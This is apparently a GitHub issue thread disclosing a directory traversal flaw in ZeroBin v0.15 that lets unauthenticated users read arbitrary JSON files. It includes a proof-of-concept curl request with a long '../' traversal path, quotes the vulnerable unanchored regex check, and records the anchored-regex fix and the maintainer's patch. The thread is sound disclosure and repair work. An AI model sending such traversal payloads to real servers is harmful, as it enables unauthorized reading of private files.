ZeroBin v0.15 arbitrary JSON file disclosure

[bcoles]

ZeroBin v0.15 is vulnerable to directory traversal which may allow
unauthenticated users to view the contents of arbitrary files, with web server
permissions, if a number of conditions are met.

1. The target file must contain valid JSON
2. The user must know the location of the target file on the filesystem
3. A directory with 16 or more valid hex characters must exist on the filesystem
4. The user must know the location of the directory on the filesystem

The following proof of concept is available:

# create a directory with 16 hex characters
mkdir /tmp/aaaaaaaaaaaaaaaa

# create a 'secret' file to be stolen
echo '{"secret":"this is a secret in a file containing valid JSON"}' > /tmp/secret.txt

# steal the file
curl http://example.com/ZeroBin/index.php?..//../../../../../../../../../../../../../../../../../tmp/aaaaaaaaaaaaaaaa/../../../tmp/secret.txt | grep "cipherdata"

Vulnerable code:

'index.php' from line 268 checks the filename contains a hex string but performs no other validation.

On line 277 the contents of the file is stored in '$paste'

if (!empty($_SERVER['QUERY_STRING']))  // Display an existing paste.
{
    $dataid = $_SERVER['QUERY_STRING'];
    if (preg_match('/[a-f\d]{16}/',$dataid))  // Is this a valid paste identifier ?
    {
        $filename = dataid2path($dataid).$dataid;
        if (is_file($filename)) // Check that paste exists.
        {
            // Get the paste itself.
            $paste=json_decode(file_get_contents($filename));

[dereferenced]

Fix is '/^[a-f\d]{16}$/' eh?

[bcoles]

Yeah, that should work.

Using \A[a-f\d]{16}\z is best practice. This should match from the start to the end of the string rather than from the start to the end of the line.

[TheFiZi]

I tried your regex bcoles and it broke zerobin.
dereferenced's didn't.

[dereferenced]

Good call on the \A \z.. they should be supported by PHP ( http://www.php.net/manual/en/regexp.reference.escape.php ). @TheFiZi, did you try them like so?

if (preg_match('/\A[a-f\d]{16}\z/',$dataid))

[TheFiZi]

@dereferenced Your example works perfectly. Thanks!

Shame this project is abandoned.

[sebsauvage]

Thanks for reporting, and sorry for this (very) late correction.
The security issue has been fixed in this commit: 41df300